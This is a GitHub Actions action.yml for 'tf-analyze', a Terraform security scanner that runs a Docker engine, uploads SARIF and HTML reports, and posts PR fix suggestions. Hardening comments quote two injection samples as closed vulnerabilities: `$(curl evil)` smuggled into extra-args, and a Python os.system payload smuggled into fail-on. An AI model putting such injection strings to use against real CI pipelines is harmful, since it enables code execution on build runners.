Repository navigation
Expand file tree
/
Copy pathaction.yml
More file actions
582 lines (555 loc) · 27.1 KB
/
Copy pathaction.yml
File metadata and controls
582 lines (555 loc) · 27.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
name: 'tf-analyze'
description: 'Static + plan-time Terraform security analysis with attack-graph prioritisation, MITRE mapping, and one-click PR fixes.'
author: 'ChrisAdkin8'
branding:
icon: 'shield'
color: 'blue'
inputs:
target:
description: 'Path to scan, relative to the workspace.'
default: '.'
fail-on:
description: 'Minimum urgency level that fails the action (CRITICAL, HIGH, MEDIUM, LOW, INFO).'
default: 'HIGH'
mode:
description: 'Execution mode (static, diff, plan, fleet, trend, pr-review). Auto-selects "diff" on pull_request events when set to "auto".'
default: 'auto'
section:
description: 'Restrict to a single catalogue section (security, robustness, ops, …). Empty = all sections.'
default: ''
attack-graph:
description: 'Build the internet → crown-jewels attack graph and promote critical-path findings one urgency tier.'
default: 'true'
baseline:
description: 'Path to a prior JSON report. Findings present in the baseline are suppressed; only NEW findings affect the exit code.'
default: ''
post-pr-comment:
description: 'Post inline `suggestion` blocks for fixable findings on pull_request events. Requires permissions.pull-requests: write.'
default: 'true'
upload-sarif:
description: 'Upload SARIF to GitHub Code Scanning. Requires permissions.security-events: write.'
default: 'true'
upload-html-artifact:
description: 'Upload the HTML report as a workflow artifact (retention 30 days).'
default: 'true'
debug-upload-findings:
description: |
OPT-IN DEBUG: upload `tf-analyze-findings.json` as a workflow artifact
(retention 7 days). Off by default because the JSON can be large on
big repos and most users don't need it. Flip to `true` when
diagnosing a difference between what the engine reports and what the
action posts (e.g. zero inline `suggestion` comments when findings
do exist). Pair with the `core.info(...)` lines the action emits in
the "Post PR review comments + summary" step for a complete picture
of which findings reached the inline-suggestion loop. See
https://github.com/ChrisAdkin8/tf-analyze/issues/19.
default: 'false'
image:
description: 'Docker image to run. Override to pin a specific engine version (e.g. ghcr.io/chrisadkin8/tf-analyze:v0.1.0).'
default: 'ghcr.io/chrisadkin8/tf-analyze:latest'
extra-args:
description: 'Additional CLI flags appended verbatim to detect.py (e.g. "--check-registry --compliance").'
default: ''
compliance-framework:
description: 'Optional compliance framework for the gap report (cis, pci_dss, soc2, owasp_iac, all). Empty = disabled. When set, the engine runs the compliance gap report and the PR comment gains a collapsible compliance section.'
default: ''
ref:
description: 'Shorthand for pinning the engine image tag. Accepts both `v0.2.3` (matches GitHub release URLs / CHANGELOG / marketplace listing) and `0.2.3` (matches the docker tag emitted by `docker/metadata-action`); the leading `v` is stripped when followed by a digit. Non-semver refs like `main` or `latest` pass through untouched. Mutually exclusive with an explicit `image:`.'
default: ''
outputs:
score:
description: 'Risk score (0–100). Always populated.'
value: ${{ steps.scan.outputs.score }}
grade:
description: 'Letter grade (A / B / B- / C / D / F).'
value: ${{ steps.scan.outputs.grade }}
total-findings:
description: 'Total findings count.'
value: ${{ steps.scan.outputs.total }}
critical-count:
description: 'CRITICAL findings.'
value: ${{ steps.scan.outputs.critical }}
high-count:
description: 'HIGH findings.'
value: ${{ steps.scan.outputs.high }}
json-report-path:
description: 'Path to tf-analyze-findings.json.'
value: ${{ steps.scan.outputs.json-report-path }}
html-report-path:
description: 'Path to tf-analyze-report.html.'
value: ${{ steps.scan.outputs.html-report-path }}
sarif-report-path:
description: 'Path to tf-analyze.sarif.'
value: ${{ steps.scan.outputs.sarif-report-path }}
runs:
using: 'composite'
steps:
- name: Resolve mode
id: mode
shell: bash
run: |
MODE="${{ inputs.mode }}"
if [ "$MODE" = "auto" ]; then
if [ "${{ github.event_name }}" = "pull_request" ]; then
MODE="diff"
else
MODE="static"
fi
fi
echo "mode=$MODE" >> "$GITHUB_OUTPUT"
# Issue #19 hardening — when --mode diff runs on a PR event, the
# engine's `_diff.get_diff_files` needs `origin/<base_ref>` reachable
# from `git rev-parse`. The default `actions/checkout@v4` does a
# shallow fetch (depth 1) of just the PR head SHA, so the base ref
# isn't local and the engine silently scans 0 files → 0 findings → 0
# inline suggestions posted. Pre-fetch the base ref (cheap: ~1 MB
# shallow) so diff mode actually has a baseline to diff against, and
# pass an explicit `--diff-base` so the engine doesn't fall through
# to its `main`/`master` autodetection.
- name: Ensure diff base is available
id: diff_base
if: steps.mode.outputs.mode == 'diff' && github.event_name == 'pull_request'
shell: bash
env:
TFA_BASE_REF: ${{ github.base_ref }}
run: |
# If the base ref is already local (caller used `fetch-depth: 0`
# or explicitly fetched it), skip the fetch — it'd be a no-op
# anyway and saves a network round-trip on the happy path.
if git -C "${{ github.workspace }}" rev-parse --verify "origin/${TFA_BASE_REF}" >/dev/null 2>&1; then
echo "::notice::tf-analyze: --mode diff baseline 'origin/${TFA_BASE_REF}' already local; skipping fetch"
else
echo "::notice::tf-analyze: fetching base ref 'origin/${TFA_BASE_REF}' for --mode diff (use 'fetch-depth: 0' on actions/checkout to skip this)"
if ! git -C "${{ github.workspace }}" fetch --depth=1 origin "${TFA_BASE_REF}" 2>&1; then
echo "::warning::tf-analyze: could not fetch 'origin/${TFA_BASE_REF}'; --mode diff will likely scan 0 files and post 0 inline suggestions. See https://github.com/ChrisAdkin8/tf-analyze/issues/19"
fi
fi
# Pass the explicit fully-qualified ref to detect.py so the
# engine doesn't fall back to its (limited) `main`/`master`
# autodetection on workflows whose target branch is `develop`,
# `release/*`, etc.
echo "diff-base=origin/${TFA_BASE_REF}" >> "$GITHUB_OUTPUT"
- name: Build detect.py args
id: args
shell: bash
# Round-5 audit fix #1 — move every user-supplied input through
# `env:` so the value is read at runtime (no GitHub Actions
# templating into the script source). A malicious caller passing
# `extra-args: "x $(curl evil) y"` previously had the command
# substitution evaluated when the bash array literal was parsed;
# via env it stays a literal string and is split with `read -ra`
# which does not perform command substitution.
env:
TFA_TARGET: ${{ inputs.target }}
TFA_MODE_OUT: ${{ steps.mode.outputs.mode }}
TFA_DIFF_BASE: ${{ steps.diff_base.outputs.diff-base }}
TFA_SECTION: ${{ inputs.section }}
TFA_ATTACK_GRAPH: ${{ inputs.attack-graph }}
TFA_BASELINE: ${{ inputs.baseline }}
TFA_EXTRA_ARGS: ${{ inputs.extra-args }}
TFA_FAIL_ON: ${{ inputs.fail-on }}
TFA_COMPLIANCE_FW: ${{ inputs.compliance-framework }}
run: |
ARGS=(--target "/workspace/${TFA_TARGET}" --mode "${TFA_MODE_OUT}")
# Issue #19 hardening — when the "Ensure diff base is available"
# step ran (PR event + mode=diff), it set `diff-base` to the
# explicit `origin/<base_ref>` ref. Pass it through so the engine
# doesn't fall back to its `main`/`master` autodetection.
if [ -n "${TFA_DIFF_BASE}" ]; then
ARGS+=(--diff-base "${TFA_DIFF_BASE}")
fi
if [ -n "${TFA_SECTION}" ]; then
ARGS+=(--section "${TFA_SECTION}")
fi
if [ "${TFA_ATTACK_GRAPH}" = "true" ]; then
ARGS+=(--attack-graph)
fi
if [ -n "${TFA_BASELINE}" ]; then
ARGS+=(--baseline "/workspace/${TFA_BASELINE}")
fi
if [ -n "${TFA_COMPLIANCE_FW}" ]; then
ARGS+=(--compliance --compliance-framework "${TFA_COMPLIANCE_FW}")
fi
if [ -n "${TFA_EXTRA_ARGS}" ]; then
# `read -ra` does whitespace tokenisation but no command
# substitution. Same array effect as before, without the
# injection surface.
read -ra EXTRA <<<"${TFA_EXTRA_ARGS}"
ARGS+=("${EXTRA[@]}")
fi
printf '%s\n' "${ARGS[@]}" > /tmp/tf-analyze-base-args
echo "fail-on=${TFA_FAIL_ON}" >> "$GITHUB_OUTPUT"
- name: Validate compliance-framework
if: inputs.compliance-framework != ''
shell: bash
env:
TFA_COMPLIANCE_FW: ${{ inputs.compliance-framework }}
run: |
case "${TFA_COMPLIANCE_FW}" in
cis|pci_dss|soc2|owasp_iac|all) ;;
*)
echo "::error::tf-analyze: compliance-framework must be one of cis, pci_dss, soc2, owasp_iac, all (got '${TFA_COMPLIANCE_FW}')"
exit 1
;;
esac
- name: Resolve image
id: resolve_image
shell: bash
# `ref` is a convenience alias for the image tag — `ref: v0.2.3`
# is equivalent to `image: ghcr.io/chrisadkin8/tf-analyze:0.2.3`.
# We fail loudly when both are set explicitly because they're two
# signals fighting over the same field; better to surface the
# ambiguity than pick one silently.
#
# R31.6: strip a leading `v` when it's followed by a digit so that
# `ref: v0.2.3` (the form users see in release URLs, the CHANGELOG,
# the tag list, and the marketplace listing) works the same as
# `ref: 0.2.3` (the form `docker/metadata-action` emits by default
# for semver tags). Non-semver refs like `main` or `latest` pass
# through untouched. The `^v[0-9]` guard means a hypothetical
# `ref: vault` would not get truncated to `ault`.
env:
TFA_REF: ${{ inputs.ref }}
TFA_IMAGE: ${{ inputs.image }}
run: |
DEFAULT_IMAGE="ghcr.io/chrisadkin8/tf-analyze:latest"
if [ -n "${TFA_REF}" ] && [ "${TFA_IMAGE}" != "${DEFAULT_IMAGE}" ]; then
echo "::error::tf-analyze: 'ref' and 'image' are mutually exclusive — set one, not both."
exit 1
fi
if [ -n "${TFA_REF}" ]; then
if [[ "${TFA_REF}" =~ ^v[0-9] ]]; then
TAG="${TFA_REF#v}"
else
TAG="${TFA_REF}"
fi
RESOLVED="ghcr.io/chrisadkin8/tf-analyze:${TAG}"
else
RESOLVED="${TFA_IMAGE}"
fi
echo "image=${RESOLVED}" >> "$GITHUB_OUTPUT"
- name: Pull tf-analyze image
shell: bash
env:
TFA_IMAGE: ${{ steps.resolve_image.outputs.image }}
run: docker pull "${TFA_IMAGE}"
- name: Run tf-analyze (JSON)
id: scan
shell: bash
env:
TFA_IMAGE: ${{ steps.resolve_image.outputs.image }}
run: |
BASE_ARGS=()
while IFS= read -r line; do BASE_ARGS+=("$line"); done < /tmp/tf-analyze-base-args
# Round-5 audit fix #12 — capture each scan's exit code
# individually. The prior `|| true` chain made a CRITICAL
# crash (OOM, segfault, signal 9) indistinguishable from "scan
# ran successfully, found findings". Exit 0 = clean; exit 1 =
# findings present (both valid). Exit ≥ 2 means the engine
# itself died — surface that as an `::error::` annotation so
# the workflow status reflects reality.
run_scan() {
local fmt="$1" out="$2" err="$3"
docker run --rm -v "${{ github.workspace }}:/workspace" \
"${TFA_IMAGE}" \
"${BASE_ARGS[@]}" --format "$fmt" --cache --cache-file /tmp/tf-analyze-cache.json \
> "$out" 2>"$err"
local rc=$?
if [ "$rc" -ge 2 ]; then
echo "::error::tf-analyze: $fmt scan crashed (exit $rc). See $err for the engine traceback."
fi
# We still allow the workflow to continue; the json-load
# step has a try/except (round-3 fix #5) that emits zeroed
# defaults so downstream steps run with a clear signal.
return 0
}
run_scan json "${{ github.workspace }}/tf-analyze-findings.json" tf-analyze-json-stderr.txt
run_scan sarif "${{ github.workspace }}/tf-analyze.sarif" tf-analyze-sarif-stderr.txt
run_scan html "${{ github.workspace }}/tf-analyze-report.html" tf-analyze-html-stderr.txt
# `pr-summary` is a Markdown shape sized for the GitHub PR
# comment body. Generated separately so the github-script step
# can use it verbatim — keeps the rendered shape in the engine
# rather than duplicating it in JS here.
run_scan pr-summary "${{ github.workspace }}/tf-analyze-pr-summary.md" tf-analyze-pr-summary-stderr.txt
for f in tf-analyze-json-stderr.txt tf-analyze-sarif-stderr.txt tf-analyze-html-stderr.txt tf-analyze-pr-summary-stderr.txt; do
if [ -s "$f" ]; then
echo "::group::$f"
cat "$f"
echo "::endgroup::"
fi
done
# Surface the score + counts as outputs.
# Round-3 audit fix #5 — wrap the JSON load in try/except so a
# crashed engine (empty or partial tf-analyze-findings.json)
# surfaces a clear error message in the Action log instead of
# an untruncated Python traceback. The PR-comment step that
# consumes these outputs (downstream) then sees zeroed
# defaults rather than an undefined `findings` list.
python3 - <<'PY' >> "$GITHUB_OUTPUT"
import json, os, sys
path = os.path.join(os.environ["GITHUB_WORKSPACE"], "tf-analyze-findings.json")
try:
with open(path) as fh:
d = json.load(fh)
except (OSError, json.JSONDecodeError) as e:
sys.stderr.write(
f"::error::tf-analyze-findings.json is missing or malformed ({e}); "
f"the engine likely crashed before emitting JSON. "
f"Check the previous step's stderr for the real cause.\n"
)
# Fall back to zeroed outputs so downstream steps (PR
# comment, SARIF upload) can still run with safe defaults
# instead of failing on an undefined variable.
d = {"summary": {}, "findings": []}
s = d.get("summary", {})
c = s.get("counts", {})
f = d.get("findings", [])
print(f"score={s.get('score', 0)}")
print(f"grade={s.get('grade', '?')}")
print(f"total={len(f)}")
print(f"critical={c.get('CRITICAL', 0)}")
print(f"high={c.get('HIGH', 0)}")
print(f"json-report-path={os.path.join(os.environ['GITHUB_WORKSPACE'], 'tf-analyze-findings.json')}")
print(f"html-report-path={os.path.join(os.environ['GITHUB_WORKSPACE'], 'tf-analyze-report.html')}")
print(f"sarif-report-path={os.path.join(os.environ['GITHUB_WORKSPACE'], 'tf-analyze.sarif')}")
PY
- name: Upload SARIF to Code Scanning
if: always() && inputs.upload-sarif == 'true'
continue-on-error: true
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: ${{ github.workspace }}/tf-analyze.sarif
category: tf-analyze
- name: Upload HTML artifact
if: always() && inputs.upload-html-artifact == 'true'
uses: actions/upload-artifact@v4
with:
name: tf-analyze-report
path: ${{ github.workspace }}/tf-analyze-report.html
retention-days: 30
# Off-by-default companion to the HTML artifact. Uploads the raw
# `tf-analyze-findings.json` the engine produced so an out-of-band
# debugger (or future-you) can see exactly what the inline-suggestion
# step *read*, not just what it *posted*. Filed against issue #19 where
# a v0.2.4 → v0.2.5 inline-comment-count regression couldn't be
# diagnosed without re-running the engine locally — the HTML artifact
# alone doesn't carry the finding objects' `line` / `file` / `fix_hcl`
# fields the action consumes.
- name: Upload findings.json artifact (debug)
if: always() && inputs.debug-upload-findings == 'true'
uses: actions/upload-artifact@v4
with:
name: tf-analyze-findings-json
path: ${{ github.workspace }}/tf-analyze-findings.json
retention-days: 7
- name: Post PR review comments + summary
if: >
always() &&
inputs.post-pr-comment == 'true' &&
github.event_name == 'pull_request'
continue-on-error: true
uses: actions/github-script@v7
with:
script: |
const fs = require('fs');
const path = require('path');
let data = {};
try {
data = JSON.parse(fs.readFileSync(
path.join(process.env.GITHUB_WORKSPACE, 'tf-analyze-findings.json'),
'utf8'
));
} catch (e) {
core.warning('Could not read tf-analyze-findings.json: ' + e.message);
return;
}
const findings = data.findings || [];
const summary = data.summary || {};
const counts = summary.counts || {};
// Score banner — shown even on a clean repo.
const grade = summary.grade || '?';
const gradeBg = { A: '#1e7e34', B: '#5d8e2d', 'B-': '#7a8a2d',
C: '#b07d00', D: '#a53f0d', F: '#a02020' }[grade] || '#444';
// Inline `suggestion` blocks per finding (one per file:line, highest urgency wins).
const changed = await github.rest.pulls.listFiles({
owner: context.repo.owner, repo: context.repo.repo,
pull_number: context.payload.pull_request.number,
});
const changedPaths = new Set(changed.data.map(f => f.filename));
const rank = u => ({ CRITICAL:4, HIGH:3, MEDIUM:2, LOW:1, INFO:0 }[u] ?? 0);
const URGENCY_EMOJI = { CRITICAL:'🚨', HIGH:'⚠️', MEDIUM:'💡', LOW:'ℹ️' };
// Dedup by (file, line, rule_id) so multiple rules on the same line each
// post a suggestion, but identical rule re-fires (e.g. from -recursive scans)
// collapse. Higher-urgency wins ties.
//
// Debug counters — `core.info()` emits these to the workflow log
// at the end of this step. When a future regression like #19
// surfaces (inline-suggestion count silently drops to 0), the
// counter line tells the operator exactly which gate ate the
// findings: catalogue-side (no fix_hcl), shape-side (no line),
// not-in-PR-files, not-in-diff-hunk, or post-failure. Without
// these lines, the only signal is the summary footer's
// "_No inline suggestions available_" — which is too coarse to
// localise the bug.
const skipReasons = { no_fix_hcl: 0, no_line: 0, not_in_pr_files: 0, not_in_diff_hunk: 0, post_failed: 0 };
const byLoc = new Map();
for (const f of findings) {
if (!f.fix_hcl) { skipReasons.no_fix_hcl++; continue; }
if (f.line == null) { skipReasons.no_line++; continue; }
const key = `${f.file}:${f.line}:${f.id}`;
const existing = byLoc.get(key);
if (!existing || rank(f.urgency) > rank(existing.urgency)) byLoc.set(key, f);
}
// Build a per-file set of line numbers that appear on the RIGHT side
// of this PR's diff. createReviewComment 422s if `line` isn't in a
// diff hunk, so pre-filtering avoids ~75% of the noise warnings on
// a typical PR (rules fire all over the file; only a few lines change).
const rightSideLines = new Map();
for (const file of changed.data) {
if (!file.patch) continue;
const lines = new Set();
let cur = 0;
for (const ln of file.patch.split('\n')) {
const hdr = ln.match(/^@@ -\d+(?:,\d+)? \+(\d+)(?:,\d+)? @@/);
if (hdr) { cur = parseInt(hdr[1], 10); continue; }
if (ln.startsWith('+') && !ln.startsWith('+++')) { lines.add(cur); cur++; }
else if (ln.startsWith(' ')) { lines.add(cur); cur++; }
// '-' lines don't advance the new-side counter.
}
rightSideLines.set(file.filename, lines);
}
const headSha = context.payload.pull_request.head.sha;
let posted = 0;
for (const [, f] of byLoc) {
// Strip the in-container mount prefix; the runner-side GITHUB_WORKSPACE
// is a different path entirely, so don't use it here.
const rel = f.file.replace(/^\/workspace\//, '');
if (!changedPaths.has(rel)) { skipReasons.not_in_pr_files++; continue; }
const inDiff = rightSideLines.get(rel);
if (!inDiff || !inDiff.has(f.line)) { skipReasons.not_in_diff_hunk++; continue; }
const emoji = URGENCY_EMOJI[f.urgency] ?? '•';
const body = [
`${emoji} **[${f.id}]** — ${f.title}`,
'',
`> Urgency: \`${f.urgency}\`` + (f.fix_disruption ? ` · Disruption: \`${f.fix_disruption}\`` : ''),
f.narrative ? `\n> *Adversarial scenario:* ${f.narrative}\n` : '',
'```suggestion',
f.fix_hcl.trimEnd(),
'```',
].join('\n');
try {
await github.rest.pulls.createReviewComment({
owner: context.repo.owner, repo: context.repo.repo,
pull_number: context.payload.pull_request.number,
commit_id: headSha,
body, path: rel, line: f.line, side: 'RIGHT',
});
posted++;
} catch (e) {
skipReasons.post_failed++;
core.warning(`Could not post suggestion for ${f.id} at ${rel}:${f.line}: ${e.message}`);
}
}
// R31.9 — emit a single-line diagnostic so the log carries enough
// detail to diagnose a "0 inline comments posted on a PR with
// findings" regression without rerunning. Cheap (one log line),
// off-the-hot-path, and the format is grep-friendly. Issue #19
// documents the regression that motivated this hardening.
core.info(
`[tf-analyze inline-suggestion summary] ` +
`findings=${findings.length} ` +
`with_fix_hcl_and_line=${byLoc.size} ` +
`posted=${posted} ` +
`skipped[no_fix_hcl=${skipReasons.no_fix_hcl},` +
`no_line=${skipReasons.no_line},` +
`not_in_pr_files=${skipReasons.not_in_pr_files},` +
`not_in_diff_hunk=${skipReasons.not_in_diff_hunk},` +
`post_failed=${skipReasons.post_failed}] ` +
`changed_paths=${changedPaths.size} ` +
`right_side_lines_files=${rightSideLines.size}`
);
// Summary comment, upserted.
//
// The engine has already rendered a PR-shaped Markdown block
// via `--format pr-summary` (score banner + top-3 findings +
// top fix + collapsed Mermaid attack graph). We use that as
// the spine and append action-specific lines (count of inline
// suggestions posted) so the comment surfaces both:
// 1. What the scan found (engine's pr-summary)
// 2. What this action just did (inline-suggestion count)
let prSummaryRendered = '';
try {
prSummaryRendered = require('fs').readFileSync(
`${process.env.GITHUB_WORKSPACE}/tf-analyze-pr-summary.md`,
'utf-8'
).trim();
} catch (e) {
core.warning(`Could not read pr-summary.md: ${e.message}`);
}
const actionFooter = posted > 0
? `\n\n${posted} fix suggestion(s) posted inline — click **Apply suggestion** to fix in one click.`
: (findings.length > 0
? '\n\n_No inline suggestions available for changed files._'
: '');
const summaryBody = prSummaryRendered
? prSummaryRendered + actionFooter
: (findings.length === 0
? `✅ **tf-analyze**: ${summary.score ?? 100} (${grade}) — no findings above threshold`
: [
`## tf-analyze: ${summary.score} (${grade})`,
'',
'| Urgency | Count |',
'|---------|------:|',
`| 🚨 CRITICAL | ${counts.CRITICAL ?? 0} |`,
`| ⚠️ HIGH | ${counts.HIGH ?? 0} |`,
`| 💡 MEDIUM | ${counts.MEDIUM ?? 0} |`,
`| ℹ️ LOW | ${counts.LOW ?? 0} |`,
actionFooter,
'',
`<sub>scoring_version ${summary.scoring_version ?? 1} · ${summary.formula ?? ''}</sub>`,
].join('\n'));
const comments = await github.rest.issues.listComments({
owner: context.repo.owner, repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
});
const prior = comments.data.find(c =>
c.body.startsWith('## tf-analyze:') ||
c.body.startsWith('✅ **tf-analyze**')
);
if (prior) {
await github.rest.issues.updateComment({
owner: context.repo.owner, repo: context.repo.repo,
comment_id: prior.id, body: summaryBody,
});
} else {
await github.rest.issues.createComment({
owner: context.repo.owner, repo: context.repo.repo,
issue_number: context.payload.pull_request.number, body: summaryBody,
});
}
- name: Apply fail-on threshold
if: always()
shell: bash
# Round-5 audit fix #1 — `${{ inputs.fail-on }}` is interpolated
# by GitHub Actions templating BEFORE the shell sees the heredoc,
# so a malicious caller could inject arbitrary Python by passing
# `fail-on: '"); import os; os.system("…"); _ = ("'`. The
# `<<'PY'` quoted heredoc prevents shell expansion but not
# Actions templating. Moving the input through `env:` makes the
# value reachable only via `os.environ`, which is a runtime
# variable read (no parser code-path) so injection is impossible.
env:
TFA_FAIL_ON: ${{ inputs.fail-on }}
run: |
python3 - <<'PY'
import json, sys, os
with open(os.path.join(os.environ["GITHUB_WORKSPACE"], "tf-analyze-findings.json")) as f:
d = json.load(f)
rank = {"CRITICAL":4,"HIGH":3,"MEDIUM":2,"LOW":1,"INFO":0}
fail_on = os.environ.get("TFA_FAIL_ON", "HIGH")
threshold = rank.get(fail_on, 3)
breach = [f for f in d.get("findings", []) if rank.get(f.get("urgency",""), 0) >= threshold]
if breach:
print(f"::error::tf-analyze: {len(breach)} finding(s) at or above {fail_on} — failing the workflow", file=sys.stderr)
sys.exit(1)
PY